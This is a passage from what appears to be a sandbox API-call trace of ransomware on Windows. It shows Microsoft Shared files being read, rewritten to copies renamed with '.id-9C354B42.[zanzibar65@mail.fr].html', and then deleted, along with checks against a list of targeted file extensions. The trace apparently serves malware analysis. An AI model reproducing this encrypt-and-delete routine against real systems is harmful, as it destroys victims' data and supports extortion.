lstrlenW (lpString=".bz2") returned 4 [0053.006] lstrcmpiW (lpString1=".bz2", lpString2=".EXE") returned -1 [0053.006] lstrlenW (lpString=".7z") returned 3 [0053.006] lstrcmpiW (lpString1=".7z", lpString2="EXE") returned -1 [0053.006] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DWTRIG20.EXE") returned 62 [0053.006] lstrlenW (lpString=".dbf") returned 4 [0053.006] lstrcmpiW (lpString1=".dbf", lpString2=".EXE") returned -1 [0053.006] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DWTRIG20.EXE") returned 62 [0053.006] lstrlenW (lpString=".1cd") returned 4 [0053.006] lstrcmpiW (lpString1=".1cd", lpString2=".EXE") returned -1 [0053.006] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DWTRIG20.EXE") returned 62 [0053.006] lstrlenW (lpString=".jpg") returned 4 [0053.006] lstrcmpiW (lpString1=".jpg", lpString2=".EXE") returned 1 [0053.006] lstrcmpiW (lpString1=".dll", lpString2=".html") returned -1 [0053.006] lstrlenW (lpString="offfiltx.dll") returned 12 [0053.006] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\offfiltx.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\offfiltx.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0053.606] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x2afff1c | out: lpFileSize=0x2afff1c*=1486736) returned 1 [0053.606] CloseHandle (hObject=0x1ac) returned 1 [0053.606] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\offfiltx.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\offfiltx.dll")) returned 0x20 [0053.607] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\offfiltx.dll.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\offfiltx.dll.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0053.607] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\offfiltx.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\offfiltx.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0053.607] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2affec8 | out: lpNewFilePointer=0x0) returned 1 [0053.607] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2affec8 | out: lpNewFilePointer=0x0) returned 1 [0053.607] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\offfiltx.dll.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\offfiltx.dll.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x230 [0053.607] GetLastError () returned 0x0 [0053.607] ReadFile (in: hFile=0x1ac, lpBuffer=0x3610020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2affed4, lpOverlapped=0x0 | out: lpBuffer=0x3610020*, lpNumberOfBytesRead=0x2affed4*=0xffff0, lpOverlapped=0x0) returned 1 [0053.631] WriteFile (in: hFile=0x230, lpBuffer=0x3610020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x2affc9c, lpOverlapped=0x0 | out: lpBuffer=0x3610020*, lpNumberOfBytesWritten=0x2affc9c*=0xffff0, lpOverlapped=0x0) returned 1 [0054.134] ReadFile (in: hFile=0x1ac, lpBuffer=0x3610020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2affed4, lpOverlapped=0x0 | out: lpBuffer=0x3610020*, lpNumberOfBytesRead=0x2affed4*=0x6afa0, lpOverlapped=0x0) returned 1 [0054.148] WriteFile (in: hFile=0x230, lpBuffer=0x3610020*, nNumberOfBytesToWrite=0x6afb0, lpNumberOfBytesWritten=0x2affc9c, lpOverlapped=0x0 | out: lpBuffer=0x3610020*, lpNumberOfBytesWritten=0x2affc9c*=0x6afb0, lpOverlapped=0x0) returned 1 [0054.158] ReadFile (in: hFile=0x1ac, lpBuffer=0x3610020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2affed4, lpOverlapped=0x0 | out: lpBuffer=0x3610020*, lpNumberOfBytesRead=0x2affed4*=0x0, lpOverlapped=0x0) returned 1 [0054.158] WriteFile (in: hFile=0x230, lpBuffer=0x3610020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2affc9c, lpOverlapped=0x0 | out: lpBuffer=0x3610020*, lpNumberOfBytesWritten=0x2affc9c*=0xec, lpOverlapped=0x0) returned 1 [0054.159] SetEndOfFile (hFile=0x230) returned 1 [0054.159] CloseHandle (hObject=0x230) returned 1 [0054.159] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2affec8 | out: lpNewFilePointer=0x0) returned 1 [0054.159] SetEndOfFile (hFile=0x1ac) returned 1 [0054.163] CloseHandle (hObject=0x1ac) returned 1 [0054.163] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\offfiltx.dll.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0054.163] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\offfiltx.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\offfiltx.dll")) returned 1 [0054.163] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\offfiltx.dll") returned 67 [0054.163] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\offfiltx.dll") returned 67 [0054.163] lstrlenW (lpString=".doc") returned 4 [0054.163] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0054.163] lstrlenW (lpString=".docx") returned 5 [0054.163] lstrcmpiW (lpString1=".docx", lpString2="x.dll") returned -1 [0054.163] lstrlenW (lpString=".pdf") returned 4 [0054.163] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0054.163] lstrlenW (lpString=".xls") returned 4 [0054.163] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0054.163] lstrlenW (lpString=".xlsx") returned 5 [0054.163] lstrcmpiW (lpString1=".xlsx", lpString2="x.dll") returned -1 [0054.164] lstrlenW (lpString=".ppt") returned 4 [0054.164] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0054.164] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\offfiltx.dll") returned 67 [0054.164] lstrlenW (lpString=".zip") returned 4 [0054.164] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0054.164] lstrlenW (lpString=".rar") returned 4 [0054.164] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0054.164] lstrlenW (lpString=".bz2") returned 4 [0054.164] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0054.164] lstrlenW (lpString=".7z") returned 3 [0054.164] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0054.164] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\offfiltx.dll") returned 67 [0054.164] lstrlenW (lpString=".dbf") returned 4 [0054.164] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0054.164] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\offfiltx.dll") returned 67 [0054.164] lstrlenW (lpString=".1cd") returned 4 [0054.164] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0054.164] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\offfiltx.dll") returned 67 [0054.164] lstrlenW (lpString=".jpg") returned 4 [0054.164] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0054.164] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\offfiltx.dll") returned 67 [0054.164] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\offfiltx.dll") returned 67 [0054.164] lstrlenW (lpString=".doc") returned 4 [0054.164] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0054.164] lstrlenW (lpString=".docx") returned 5 [0054.164] lstrcmpiW (lpString1=".docx", lpString2="x.dll") returned -1 [0054.164] lstrlenW (lpString=".pdf") returned 4 [0054.164] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0054.164] lstrlenW (lpString=".xls") returned 4 [0054.164] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0054.164] lstrlenW (lpString=".xlsx") returned 5 [0054.164] lstrcmpiW (lpString1=".xlsx", lpString2="x.dll") returned -1 [0054.164] lstrlenW (lpString=".ppt") returned 4 [0054.165] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0054.165] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\offfiltx.dll") returned 67 [0054.165] lstrlenW (lpString=".zip") returned 4 [0054.165] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0054.165] lstrlenW (lpString=".rar") returned 4 [0054.165] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0054.165] lstrlenW (lpString=".bz2") returned 4 [0054.165] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0054.165] lstrlenW (lpString=".7z") returned 3 [0054.165] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0054.165] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\offfiltx.dll") returned 67 [0054.165] lstrlenW (lpString=".dbf") returned 4 [0054.165] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0054.165] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\offfiltx.dll") returned 67 [0054.165] lstrlenW (lpString=".1cd") returned 4 [0054.165] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0054.165] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\offfiltx.dll") returned 67 [0054.165] lstrlenW (lpString=".jpg") returned 4 [0054.165] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0054.165] lstrcmpiW (lpString1=".CFG", lpString2=".html") returned -1 [0054.165] lstrlenW (lpString="CGMIMP32.CFG") returned 12 [0054.165] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.cfg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0054.166] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x2afff1c | out: lpFileSize=0x2afff1c*=6811) returned 1 [0054.166] CloseHandle (hObject=0x1ac) returned 1 [0054.166] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.cfg")) returned 0x20 [0054.166] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.cfg.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0054.166] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.cfg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0054.166] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2affec8 | out: lpNewFilePointer=0x0) returned 1 [0054.166] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2affec8 | out: lpNewFilePointer=0x0) returned 1 [0054.166] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.cfg.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x230 [0054.166] GetLastError () returned 0x0 [0054.166] ReadFile (in: hFile=0x1ac, lpBuffer=0x3610020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2affed4, lpOverlapped=0x0 | out: lpBuffer=0x3610020*, lpNumberOfBytesRead=0x2affed4*=0x1a9b, lpOverlapped=0x0) returned 1 [0054.392] WriteFile (in: hFile=0x230, lpBuffer=0x3610020*, nNumberOfBytesToWrite=0x1aa0, lpNumberOfBytesWritten=0x2affc9c, lpOverlapped=0x0 | out: lpBuffer=0x3610020*, lpNumberOfBytesWritten=0x2affc9c*=0x1aa0, lpOverlapped=0x0) returned 1 [0054.393] ReadFile (in: hFile=0x1ac, lpBuffer=0x3610020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2affed4, lpOverlapped=0x0 | out: lpBuffer=0x3610020*, lpNumberOfBytesRead=0x2affed4*=0x0, lpOverlapped=0x0) returned 1 [0054.393] WriteFile (in: hFile=0x230, lpBuffer=0x3610020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2affc9c, lpOverlapped=0x0 | out: lpBuffer=0x3610020*, lpNumberOfBytesWritten=0x2affc9c*=0xec, lpOverlapped=0x0) returned 1 [0054.393] SetEndOfFile (hFile=0x230) returned 1 [0054.393] CloseHandle (hObject=0x230) returned 1 [0054.393] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2affec8 | out: lpNewFilePointer=0x0) returned 1 [0054.393] SetEndOfFile (hFile=0x1ac) returned 1 [0054.394] CloseHandle (hObject=0x1ac) returned 1 [0054.394] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0054.394] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.cfg")) returned 1 [0054.395] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG") returned 67 [0054.395] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG") returned 67 [0054.395] lstrlenW (lpString=".doc") returned 4 [0054.395] lstrcmpiW (lpString1=".doc", lpString2=".CFG") returned 1 [0054.395] lstrlenW (lpString=".docx") returned 5 [0054.395] lstrcmpiW (lpString1=".docx", lpString2="2.CFG") returned -1 [0054.395] lstrlenW (lpString=".pdf") returned 4 [0054.395] lstrcmpiW (lpString1=".pdf", lpString2=".CFG") returned 1 [0054.395] lstrlenW (lpString=".xls") returned 4 [0054.395] lstrcmpiW (lpString1=".xls", lpString2=".CFG") returned 1 [0054.395] lstrlenW (lpString=".xlsx") returned 5 [0054.395] lstrcmpiW (lpString1=".xlsx", lpString2="2.CFG") returned -1 [0054.395] lstrlenW (lpString=".ppt") returned 4 [0054.395] lstrcmpiW (lpString1=".ppt", lpString2=".CFG") returned 1 [0054.395] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG") returned 67 [0054.395] lstrlenW (lpString=".zip") returned 4 [0054.395] lstrcmpiW (lpString1=".zip", lpString2=".CFG") returned 1 [0054.395] lstrlenW (lpString=".rar") returned 4 [0054.395] lstrcmpiW (lpString1=".rar", lpString2=".CFG") returned 1 [0054.395] lstrlenW (lpString=".bz2") returned 4 [0054.395] lstrcmpiW (lpString1=".bz2", lpString2=".CFG") returned -1 [0054.395] lstrlenW (lpString=".7z") returned 3 [0054.395] lstrcmpiW (lpString1=".7z", lpString2="CFG") returned -1 [0054.395] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG") returned 67 [0054.395] lstrlenW (lpString=".dbf") returned 4 [0054.395] lstrcmpiW (lpString1=".dbf", lpString2=".CFG") returned 1 [0054.395] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG") returned 67 [0054.395] lstrlenW (lpString=".1cd") returned 4 [0054.395] lstrcmpiW (lpString1=".1cd", lpString2=".CFG") returned -1 [0054.395] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG") returned 67 [0054.395] lstrlenW (lpString=".jpg") returned 4 [0054.396] lstrcmpiW (lpString1=".jpg", lpString2=".CFG") returned 1 [0054.396] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG") returned 67 [0054.396] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG") returned 67 [0054.396] lstrlenW (lpString=".doc") returned 4 [0054.396] lstrcmpiW (lpString1=".doc", lpString2=".CFG") returned 1 [0054.396] lstrlenW (lpString=".docx") returned 5 [0054.396] lstrcmpiW (lpString1=".docx", lpString2="2.CFG") returned -1 [0054.396] lstrlenW (lpString=".pdf") returned 4 [0054.396] lstrcmpiW (lpString1=".pdf", lpString2=".CFG") returned 1 [0054.396] lstrlenW (lpString=".xls") returned 4 [0054.396] lstrcmpiW (lpString1=".xls", lpString2=".CFG") returned 1 [0054.396] lstrlenW (lpString=".xlsx") returned 5 [0054.396] lstrcmpiW (lpString1=".xlsx", lpString2="2.CFG") returned -1 [0054.396] lstrlenW (lpString=".ppt") returned 4 [0054.396] lstrcmpiW (lpString1=".ppt", lpString2=".CFG") returned 1 [0054.396] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG") returned 67 [0054.396] lstrlenW (lpString=".zip") returned 4 [0054.396] lstrcmpiW (lpString1=".zip", lpString2=".CFG") returned 1 [0054.396] lstrlenW (lpString=".rar") returned 4 [0054.396] lstrcmpiW (lpString1=".rar", lpString2=".CFG") returned 1 [0054.396] lstrlenW (lpString=".bz2") returned 4 [0054.396] lstrcmpiW (lpString1=".bz2", lpString2=".CFG") returned -1 [0054.396] lstrlenW (lpString=".7z") returned 3 [0054.396] lstrcmpiW (lpString1=".7z", lpString2="CFG") returned -1 [0054.396] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG") returned 67 [0054.396] lstrlenW (lpString=".dbf") returned 4 [0054.396] lstrcmpiW (lpString1=".dbf", lpString2=".CFG") returned 1 [0054.396] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG") returned 67 [0054.396] lstrlenW (lpString=".1cd") returned 4 [0054.396] lstrcmpiW (lpString1=".1cd", lpString2=".CFG") returned -1 [0054.396] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG") returned 67 [0054.396] lstrlenW (lpString=".jpg") returned 4 [0054.397] lstrcmpiW (lpString1=".jpg", lpString2=".CFG") returned 1 [0054.397] lstrcmpiW (lpString1=".FLT", lpString2=".html") returned -1 [0054.397] lstrlenW (lpString="CGMIMP32.FLT") returned 12 [0054.397] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.flt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x22c [0054.404] GetFileSizeEx (in: hFile=0x22c, lpFileSize=0x2afff1c | out: lpFileSize=0x2afff1c*=323936) returned 1 [0054.404] CloseHandle (hObject=0x22c) returned 1 [0054.404] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.flt")) returned 0x20 [0054.404] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.flt.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0054.404] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.flt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x22c [0054.404] SetFilePointerEx (in: hFile=0x22c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2affec8 | out: lpNewFilePointer=0x0) returned 1 [0054.404] SetFilePointerEx (in: hFile=0x22c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2affec8 | out: lpNewFilePointer=0x0) returned 1 [0054.404] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.flt.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0054.405] GetLastError () returned 0x0 [0054.405] ReadFile (in: hFile=0x22c, lpBuffer=0x3610020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2affed4, lpOverlapped=0x0 | out: lpBuffer=0x3610020*, lpNumberOfBytesRead=0x2affed4*=0x4f160, lpOverlapped=0x0) returned 1 [0054.412] WriteFile (in: hFile=0x1ac, lpBuffer=0x3610020*, nNumberOfBytesToWrite=0x4f170, lpNumberOfBytesWritten=0x2affc9c, lpOverlapped=0x0 | out: lpBuffer=0x3610020*, lpNumberOfBytesWritten=0x2affc9c*=0x4f170, lpOverlapped=0x0) returned 1 [0054.418] ReadFile (in: hFile=0x22c, lpBuffer=0x3610020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2affed4, lpOverlapped=0x0 | out: lpBuffer=0x3610020*, lpNumberOfBytesRead=0x2affed4*=0x0, lpOverlapped=0x0) returned 1 [0054.418] WriteFile (in: hFile=0x1ac, lpBuffer=0x3610020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2affc9c, lpOverlapped=0x0 | out: lpBuffer=0x3610020*, lpNumberOfBytesWritten=0x2affc9c*=0xec, lpOverlapped=0x0) returned 1 [0054.418] SetEndOfFile (hFile=0x1ac) returned 1 [0054.418] CloseHandle (hObject=0x1ac) returned 1 [0054.418] SetFilePointerEx (in: hFile=0x22c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2affec8 | out: lpNewFilePointer=0x0) returned 1 [0054.418] SetEndOfFile (hFile=0x22c) returned 1 [0054.421] CloseHandle (hObject=0x22c) returned 1 [0054.421] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0054.421] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.flt")) returned 1 [0054.422] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT") returned 67 [0054.422] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT") returned 67 [0054.422] lstrlenW (lpString=".doc") returned 4 [0054.422] lstrcmpiW (lpString1=".doc", lpString2=".FLT") returned -1 [0054.422] lstrlenW (lpString=".docx") returned 5 [0054.422] lstrcmpiW (lpString1=".docx", lpString2="2.FLT") returned -1 [0054.422] lstrlenW (lpString=".pdf") returned 4 [0054.422] lstrcmpiW (lpString1=".pdf", lpString2=".FLT") returned 1 [0054.422] lstrlenW (lpString=".xls") returned 4 [0054.422] lstrcmpiW (lpString1=".xls", lpString2=".FLT") returned 1 [0054.422] lstrlenW (lpString=".xlsx") returned 5 [0054.422] lstrcmpiW (lpString1=".xlsx", lpString2="2.FLT") returned -1 [0054.422] lstrlenW (lpString=".ppt") returned 4 [0054.422] lstrcmpiW (lpString1=".ppt", lpString2=".FLT") returned 1 [0054.422] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT") returned 67 [0054.422] lstrlenW (lpString=".zip") returned 4 [0054.422] lstrcmpiW (lpString1=".zip", lpString2=".FLT") returned 1 [0054.422] lstrlenW (lpString=".rar") returned 4 [0054.422] lstrcmpiW (lpString1=".rar", lpString2=".FLT") returned 1 [0054.422] lstrlenW (lpString=".bz2") returned 4 [0054.422] lstrcmpiW (lpString1=".bz2", lpString2=".FLT") returned -1 [0054.422] lstrlenW (lpString=".7z") returned 3 [0054.422] lstrcmpiW (lpString1=".7z", lpString2="FLT") returned -1 [0054.422] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT") returned 67 [0054.422] lstrlenW (lpString=".dbf") returned 4 [0054.422] lstrcmpiW (lpString1=".dbf", lpString2=".FLT") returned -1 [0054.422] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT") returned 67 [0054.422] lstrlenW (lpString=".1cd") returned 4 [0054.423] lstrcmpiW (lpString1=".1cd", lpString2=".FLT") returned -1 [0054.423] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT") returned 67 [0054.423] lstrlenW (lpString=".jpg") returned 4 [0054.423] lstrcmpiW (lpString1=".jpg", lpString2=".FLT") returned 1 [0054.423] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT") returned 67 [0054.423] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT") returned 67 [0054.423] lstrlenW (lpString=".doc") returned 4 [0054.423] lstrcmpiW (lpString1=".doc", lpString2=".FLT") returned -1 [0054.423] lstrlenW (lpString=".docx") returned 5 [0054.423] lstrcmpiW (lpString1=".docx", lpString2="2.FLT") returned -1 [0054.423] lstrlenW (lpString=".pdf") returned 4 [0054.423] lstrcmpiW (lpString1=".pdf", lpString2=".FLT") returned 1 [0054.423] lstrlenW (lpString=".xls") returned 4 [0054.423] lstrcmpiW (lpString1=".xls", lpString2=".FLT") returned 1 [0054.423] lstrlenW (lpString=".xlsx") returned 5 [0054.423] lstrcmpiW (lpString1=".xlsx", lpString2="2.FLT") returned -1 [0054.423] lstrlenW (lpString=".ppt") returned 4 [0054.423] lstrcmpiW (lpString1=".ppt", lpString2=".FLT") returned 1 [0054.423] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT") returned 67 [0054.423] lstrlenW (lpString=".zip") returned 4 [0054.423] lstrcmpiW (lpString1=".zip", lpString2=".FLT") returned 1 [0054.423] lstrlenW (lpString=".rar") returned 4 [0054.423] lstrcmpiW (lpString1=".rar", lpString2=".FLT") returned 1 [0054.423] lstrlenW (lpString=".bz2") returned 4 [0054.423] lstrcmpiW (lpString1=".bz2", lpString2=".FLT") returned -1 [0054.423] lstrlenW (lpString=".7z") returned 3 [0054.423] lstrcmpiW (lpString1=".7z", lpString2="FLT") returned -1 [0054.424] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT") returned 